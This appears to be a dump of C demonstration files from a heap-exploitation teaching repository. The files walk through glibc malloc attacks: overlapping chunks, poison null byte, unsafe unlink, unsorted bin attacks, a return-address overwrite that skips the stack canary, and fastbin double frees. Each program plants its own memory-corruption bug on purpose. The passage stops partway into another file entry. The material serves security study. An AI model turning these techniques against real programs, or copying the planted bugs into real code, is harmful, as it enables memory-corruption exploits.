    "path": "glibc_2.24/overlapping_chunks_2.c",
    "content": "/*\n Yet another simple tale of overlapping chunk.\n\n This technique is taken from\n https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.\n \n This is also referenced as Nonadjacent Free Chunk Consolidation Attack.\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n\nint main(){\n  \n  intptr_t *p1,*p2,*p3,*p4,*p5,*p6;\n  unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;\n  int prev_in_use = 0x1;\n\n  fprintf(stderr, \"\\nThis is a simple chunks overlapping problem\");\n  fprintf(stderr, \"\\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\\n\");\n  fprintf(stderr, \"\\nLet's start to allocate 5 chunks on the heap:\");\n\n  p1 = malloc(1000);\n  p2 = malloc(1000);\n  p3 = malloc(1000);\n  p4 = malloc(1000);\n  p5 = malloc(1000);\n\n  real_size_p1 = malloc_usable_size(p1);\n  real_size_p2 = malloc_usable_size(p2);\n  real_size_p3 = malloc_usable_size(p3);\n  real_size_p4 = malloc_usable_size(p4);\n  real_size_p5 = malloc_usable_size(p5);\n\n  fprintf(stderr, \"\\n\\nchunk p1 from %p to %p\", p1, (unsigned char *)p1+malloc_usable_size(p1));\n  fprintf(stderr, \"\\nchunk p2 from %p to %p\", p2,  (unsigned char *)p2+malloc_usable_size(p2));\n  fprintf(stderr, \"\\nchunk p3 from %p to %p\", p3,  (unsigned char *)p3+malloc_usable_size(p3));\n  fprintf(stderr, \"\\nchunk p4 from %p to %p\", p4, (unsigned char *)p4+malloc_usable_size(p4));\n  fprintf(stderr, \"\\nchunk p5 from %p to %p\\n\", p5,  (unsigned char *)p5+malloc_usable_size(p5));\n\n  memset(p1,'A',real_size_p1);\n  memset(p2,'B',real_size_p2);\n  memset(p3,'C',real_size_p3);\n  memset(p4,'D',real_size_p4);\n  memset(p5,'E',real_size_p5);\n  \n  fprintf(stderr, \"\\nLet's free the chunk p4.\\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\\n\"); \n  \n  free(p4);\n\n  fprintf(stderr, \"\\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\\nwith the size of chunk_p2 + size of chunk_p3\\n\");\n\n  *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE \n\n  fprintf(stderr, \"\\nNow during the free() operation on p2, the allocator is fooled to think that \\nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \\n\");\n  fprintf(stderr, \"\\nThis operation will basically create a big free chunk that wrongly includes p3\\n\");\n  free(p2);\n  \n  fprintf(stderr, \"\\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\\n\");\n\n  p6 = malloc(2000);\n  real_size_p6 = malloc_usable_size(p6);\n\n  fprintf(stderr, \"\\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \\nwe can overwrite data in p3 by writing on chunk p6\\n\");\n  fprintf(stderr, \"\\nchunk p6 from %p to %p\", p6,  (unsigned char *)p6+real_size_p6);\n  fprintf(stderr, \"\\nchunk p3 from %p to %p\\n\", p3, (unsigned char *) p3+real_size_p3); \n\n  fprintf(stderr, \"\\nData inside chunk p3: \\n\\n\");\n  fprintf(stderr, \"%s\\n\",(char *)p3); \n\n  fprintf(stderr, \"\\nLet's write something inside p6\\n\");\n  memset(p6,'F',1500);  \n  \n  fprintf(stderr, \"\\nData inside chunk p3: \\n\\n\");\n  fprintf(stderr, \"%s\\n\",(char *)p3); \n\n\n}\n"
  },
  {
    "path": "glibc_2.24/poison_null_byte.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"Welcome to poison null byte 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 16.04 64bit.\\n\");\n\tprintf(\"This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\\n\");\n\tprintf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n\tuint8_t* a;\n\tuint8_t* b;\n\tuint8_t* c;\n\tuint8_t* b1;\n\tuint8_t* b2;\n\tuint8_t* d;\n\tvoid *barrier;\n\n\tprintf(\"We allocate 0x100 bytes for 'a'.\\n\");\n\ta = (uint8_t*) malloc(0x100);\n\tprintf(\"a: %p\\n\", a);\n\tint real_a_size = malloc_usable_size(a);\n\tprintf(\"Since we want to overflow 'a', we need to know the 'real' size of 'a' \"\n\t\t\"(it may be more than 0x100 because of rounding): %#x\\n\", real_a_size);\n\n\t/* chunk size attribute cannot have a least significant byte with a value of 0x00.\n\t * the least significant byte of this will be 0x10, because the size of the chunk includes\n\t * the amount requested plus some amount required for the metadata. */\n\tb = (uint8_t*) malloc(0x200);\n\n\tprintf(\"b: %p\\n\", b);\n\n\tc = (uint8_t*) malloc(0x100);\n\tprintf(\"c: %p\\n\", c);\n\n\tbarrier =  malloc(0x100);\n\tprintf(\"We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\\n\"\n\t\t\"The barrier is not strictly necessary, but makes things less confusing\\n\", barrier);\n\n\tuint64_t* b_size_ptr = (uint64_t*)(b - 8);\n\n\t// added fix for size==prev_size(next_chunk) check in newer versions of glibc\n\t// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\t// this added check requires we are allowed to have null pointers in b (not just a c string)\n\t//*(size_t*)(b+0x1f0) = 0x200;\n\tprintf(\"In newer versions of glibc we will need to have our updated size inside b itself to pass \"\n\t\t\"the check 'chunksize(P) != prev_size (next_chunk(P))'\\n\");\n\t// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)\n\t// which is the value of b.size after its first byte has been overwritten with a NULL byte\n\t*(size_t*)(b+0x1f0) = 0x200;\n\n\t// this technique works by overwriting the size metadata of a free chunk\n\tfree(b);\n\t\n\tprintf(\"b.size: %#lx\\n\", *b_size_ptr);\n\tprintf(\"b.size is: (0x200 + 0x10) | prev_in_use\\n\");\n\tprintf(\"We overflow 'a' with a single null byte into the metadata of 'b'\\n\");\n\ta[real_a_size] = 0; // <--- THIS IS THE \"EXPLOITED BUG\"\n\tprintf(\"b.size: %#lx\\n\", *b_size_ptr);\n\n\tuint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;\n\tprintf(\"c.prev_size is %#lx\\n\",*c_prev_size_ptr);\n\n\t// This malloc will result in a call to unlink on the chunk where b was.\n\t// The added check (commit id: 17f487b), if not properly handled as we did before,\n\t// will detect the heap corruption now.\n\t// The check is this: chunksize(P) != prev_size (next_chunk(P)) where\n\t// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)\n\t// next_chunk(P) == b-0x10+0x200 == b+0x1f0\n\t// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200\n\tprintf(\"We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\\n\",\n\t\t*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));\n\tb1 = malloc(0x100);\n\n\tprintf(\"b1: %p\\n\",b1);\n\tprintf(\"Now we malloc 'b1'. It will be placed where 'b' was. \"\n\t\t\"At this point c.prev_size should have been updated, but it was not: %#lx\\n\",*c_prev_size_ptr);\n\tprintf(\"Interestingly, the updated value of c.prev_size has been written 0x10 bytes \"\n\t\t\"before c.prev_size: %lx\\n\",*(((uint64_t*)c)-4));\n\tprintf(\"We malloc 'b2', our 'victim' chunk.\\n\");\n\t// Typically b2 (the victim) will be a structure with valuable pointers that we want to control\n\n\tb2 = malloc(0x80);\n\tprintf(\"b2: %p\\n\",b2);\n\n\tmemset(b2,'B',0x80);\n\tprintf(\"Current b2 content:\\n%s\\n\",b2);\n\n\tprintf(\"Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\\n\");\n\n\tfree(b1);\n\tfree(c);\n\t\n\tprintf(\"Finally, we allocate 'd', overlapping 'b2'.\\n\");\n\td = malloc(0x300);\n\tprintf(\"d: %p\\n\",d);\n\t\n\tprintf(\"Now 'd' and 'b2' overlap.\\n\");\n\tmemset(d,'D',0x300);\n\n\tprintf(\"New b2 content:\\n%s\\n\",b2);\n\n\tprintf(\"Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks\"\n\t\t\"for the clear explanation of this technique.\\n\");\n\n\tassert(strstr(b2, \"DDDDDDDDDDDD\"));\n}\n"
  },
  {
    "path": "glibc_2.24/sysmalloc_int_free.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n#define MALLOC_ALIGN (SIZE_SZ*2)\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// target top chunk size that should be freed\n#define CHUNK_FREED_SIZE 0x150\n#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)\n\n/**\n * Tested on:\n *  + GLIBC 2.23 (x86_64, x86 & aarch64)\n *\n * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,\n * which can be used to corrupt heap without needing to call free() directly.\n * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),\n * if the top_chunk can't be merged during heap growth\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * This technique is used in House of Orange & Tangerine\n */\nint main() {\n  size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);\n\n  puts(\"Constants:\");\n  printf(\"chunk header \\t\\t= 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align \\t\\t= 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align \\t\\t= 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size \\t\\t= 0x%lx\\n\", FENCEPOST);\n  printf(\"freed size \\t\\t= 0x%lx\\n\", FREED_SIZE);\n\n  printf(\"target top chunk size \\t= 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  new = malloc(PROBE);\n  top_size = new[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size \\t\\t= 0x%lx\\n\", top_size);\n\n  // calculate allocated_size\n  allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;\n  allocated_size &= PAGE_MASK;\n  allocated_size &= MALLOC_MASK;\n\n  printf(\"allocated size \\t\\t= 0x%lx\\n\\n\", allocated_size);\n\n  puts(\"1. create initial malloc that will be used to corrupt the top_chunk (wilderness)\");\n  new = malloc(allocated_size);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- initial malloc\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|      SIZE (0x%05lx)   |\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         top_size - 1,\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n  puts(\"2. corrupt the size of top chunk to be less, but still page aligned\");\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |   <- positive OOB (i.e. BOF)\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         TOP           |   <- corrupt size of top chunk (wilderness)\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|         ...           |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         new_top_size - 1,\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n\n  puts(\"3. create an allocation larger than the remaining top chunk, to trigger heap growth\");\n  puts(\"The now corrupt top_chunk triggers sysmalloc to call _init_free on it\");\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_FREED_SIZE);\n\n  old = new;\n  new = malloc(CHUNK_FREED_SIZE + 0x10);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          OLD          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         FREED         |   <- old top got freed because it couldn't be merged\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|       FENCEPOST       |   <- just some architecture depending padding\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          NEW          |   <- new malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\\n\",\n         old - 2,\n         top_size_ptr - 1,\n         freed_top_size,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         new - (MALLOC_ALIGN / SIZE_SZ));\n\n  puts(\"...\\n\");\n\n  puts(\"?. reallocated into the freed chunk\");\n\n  old = new;\n  new = malloc(FREED_SIZE);\n\n  assert((size_t) old > (size_t) new);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- allocated into the freed chunk\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          OLD          |   <- old malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\",\n         new - 2,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),\n         old - (MALLOC_ALIGN / SIZE_SZ));\n}\n"
  },
  {
    "path": "glibc_2.24/unsafe_unlink.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr;\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\tprintf(\"Welcome to unsafe unlink 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 14.04/16.04 64bit.\\n\");\n\tprintf(\"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\\n\");\n\tprintf(\"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\\n\");\n\n\tint malloc_size = 0x80; //we want to be big enough not to use fastbins\n\tint header_size = 2;\n\n\tprintf(\"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\\n\\n\");\n\n\tchunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0\n\tuint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1\n\tprintf(\"The global chunk0_ptr is at %p, pointing to %p\\n\", &chunk0_ptr, chunk0_ptr);\n\tprintf(\"The victim chunk we are going to corrupt is at %p\\n\\n\", chunk1_ptr);\n\n\tprintf(\"We create a fake chunk inside chunk0.\\n\");\n\tprintf(\"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\\n\");\n\tchunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);\n\tprintf(\"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\\n\");\n\tprintf(\"With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\\n\");\n\tchunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);\n\tprintf(\"Fake chunk fd: %p\\n\",(void*) chunk0_ptr[2]);\n\tprintf(\"Fake chunk bk: %p\\n\\n\",(void*) chunk0_ptr[3]);\n\n\tprintf(\"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\\n\");\n\tuint64_t *chunk1_hdr = chunk1_ptr - header_size;\n\tprintf(\"We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\\n\");\n\tprintf(\"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\\n\");\n\tchunk1_hdr[0] = malloc_size;\n\tprintf(\"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\\n\",(void*)chunk1_hdr[0]);\n\tprintf(\"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\\n\\n\");\n\tchunk1_hdr[1] &= ~1;\n\n\tprintf(\"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\\n\");\n\tprintf(\"You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\\n\\n\");\n\tfree(chunk1_ptr);\n\n\tprintf(\"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\\n\");\n\tchar victim_string[8];\n\tstrcpy(victim_string,\"Hello!~\");\n\tchunk0_ptr[3] = (uint64_t) victim_string;\n\n\tprintf(\"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\\n\");\n\tprintf(\"Original value: %s\\n\",victim_string);\n\tchunk0_ptr[0] = 0x4141414142424242LL;\n\tprintf(\"New Value: %s\\n\",victim_string);\n\n\t// sanity check\n\tassert(*(long *)victim_string == 0x4141414142424242L);\n}\n\n\n"
  },
  {
    "path": "glibc_2.24/unsorted_bin_attack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\nint main(){\n\tfprintf(stderr, \"This file demonstrates unsorted bin attack by write a large unsigned long value into stack\\n\");\n\tfprintf(stderr, \"In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the \"\n\t\t   \"global variable global_max_fast in libc for further fastbin attack\\n\\n\");\n\n\tunsigned long stack_var=0;\n\tfprintf(stderr, \"Let's first look at the target we want to rewrite on stack:\\n\");\n\tfprintf(stderr, \"%p: %ld\\n\\n\", &stack_var, stack_var);\n\n\tunsigned long *p=malloc(400);\n\tfprintf(stderr, \"Now, we allocate first normal chunk on the heap at: %p\\n\",p);\n\tfprintf(stderr, \"And allocate another normal chunk in order to avoid consolidating the top chunk with\"\n           \"the first one during the free()\\n\\n\");\n\tmalloc(500);\n\n\tfree(p);\n\tfprintf(stderr, \"We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer \"\n\t\t   \"point to %p\\n\",(void*)p[1]);\n\n\t//------------VULNERABILITY-----------\n\n\tp[1]=(unsigned long)(&stack_var-2);\n\tfprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\tfprintf(stderr, \"And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\\n\\n\",(void*)p[1]);\n\n\t//------------------------------------\n\n\tmalloc(400);\n\tfprintf(stderr, \"Let's malloc again to get the chunk we just free. During this time, the target should have already been \"\n\t\t   \"rewritten:\\n\");\n\tfprintf(stderr, \"%p: %p\\n\", &stack_var, (void*)stack_var);\n}\n"
  },
  {
    "path": "glibc_2.24/unsorted_bin_into_stack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <assert.h>\n\nvoid jackpot(){ printf(\"Nice jump d00d\\n\"); exit(0); }\n\nint main() {\n\tintptr_t stack_buffer[4] = {0};\n\n\tprintf(\"Allocating the victim chunk\\n\");\n\tintptr_t* victim = malloc(0x100);\n\n\tprintf(\"Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\\n\");\n\tintptr_t* p1 = malloc(0x100);\n\n\tprintf(\"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n\tfree(victim);\n\n\tprintf(\"Create a fake chunk on the stack\");\n\tprintf(\"Set size for next allocation and the bk pointer to any writable address\");\n\tstack_buffer[1] = 0x100 + 0x10;\n\tstack_buffer[3] = (intptr_t)stack_buffer;\n\n\t//------------VULNERABILITY-----------\n\tprintf(\"Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\\n\");\n\tprintf(\"Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\\n\");\n\tvictim[-1] = 32;\n\tvictim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack\n\t//------------------------------------\n\n\tprintf(\"Now next malloc will return the region of our fake chunk: %p\\n\", &stack_buffer[2]);\n\tchar *p2 = malloc(0x100);\n\tprintf(\"malloc(0x100): %p\\n\", p2);\n\n\tintptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n\tmemcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n\tassert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.27/fastbin_dup.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple double-free attack with fastbins.\\n\");\n\n\tprintf(\"Fill up tcache first.\\n\");\n\tvoid *ptrs[8];\n\tfor (int i=0; i<8; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\tprintf(\"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1, 8);\n\tint *b = calloc(1, 8);\n\tint *c = calloc(1, 8);\n\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tprintf(\"Freeing the first one...\\n\");\n\tfree(a);\n\n\tprintf(\"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\t// free(a);\n\n\tprintf(\"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tprintf(\"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tprintf(\"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\\n\", a, b, a, a);\n\ta = calloc(1, 8);\n\tb = calloc(1, 8);\n\tc = calloc(1, 8);\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tassert(a == c);\n}\n"
  },
  {
    "path": "glibc_2.27/fastbin_dup_consolidate.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8\n\nThis document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a\ndouble free to gain two pointers to the same large-sized chunk, which is usually difficult to do \ndirectly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.\n\nmalloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially\nmerges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top\nif possible.\n\nAs of glibc version 2.35 it is called only in the following five places:\n1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)\n2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)\n3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)\n4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)\n5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)\n\nWe will be targeting the first place, so we will need to allocate a chunk that does not belong in the \nsmall bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). \nThis means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the \nbiggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize \na double free to gain control of a tcache sized chunk.   \n*/\n\n#define CHUNK_SIZE 0x400\n\nint main() {\n\tprintf(\"This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\\n\");\n\tprintf(\"Lets prepare to fill up the tcache in order to force fastbin usage...\\n\\n\");\n\n\tvoid *ptr[7];\n\n\tfor(int i = 0; i < 7; i++)\n\t\tptr[i] = malloc(0x40);\n\n\tvoid* p1 = malloc(0x40);\n\tprintf(\"Allocate another chunk of the same size p1=%p \\n\", p1);\n\n\tprintf(\"Fill up the tcache...\\n\");\n\tfor(int i = 0; i < 7; i++)\n\t\tfree(ptr[i]);\n\n  \tprintf(\"Now freeing p1 will add it to the fastbin.\\n\\n\");\n  \tfree(p1);\n\n\tprintf(\"To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\\n\");\n\tprintf(\"which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\\n\");\n\tprintf(\"a tcache-sized chunk with chunk size 0x410 \");\n  \tvoid* p2 = malloc(CHUNK_SIZE);\n\n\tprintf(\"p2=%p.\\n\", p2);\n\n\tprintf(\"\\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\\n\");\n\tprintf(\"Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\\n\");\n\n\tassert(p1 == p2);\n\n  \tprintf(\"We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\\n\\n\");\n\tfree(p1); // vulnerability (double free)\n\tprintf(\"It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\\n\");\n\n\tprintf(\"So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\\n\");\n\n\tprintf(\"We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\\n\");\n\tprintf(\"the tcache bin. p2 and p1 will still be pointing to it.\\n\");\n\tvoid *p3 = malloc(CHUNK_SIZE);\n\n\tassert(p3 == p2);\n\n\tprintf(\"We now have two pointers (p2 and p3) that haven't been directly freed\\n\");\n\tprintf(\"and both point to the same tcache sized chunk. p2=%p p3=%p\\n\", p2, p3);\n\tprintf(\"We have achieved duplication!\\n\\n\");\n\n\tprintf(\"Note: This duplication would have also worked with a larger chunk size, the chunks would\\n\");\n\tprintf(\"have behaved the same, just being taken from the top instead of from the tcache bin.\\n\");\n\tprintf(\"This is pretty cool because it is usually difficult to duplicate large sized chunks\\n\");\n\tprintf(\"because they are resistant to direct double free's due to their PREV_INUSE check.\\n\");\n\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.27/fastbin_dup_into_stack.c",
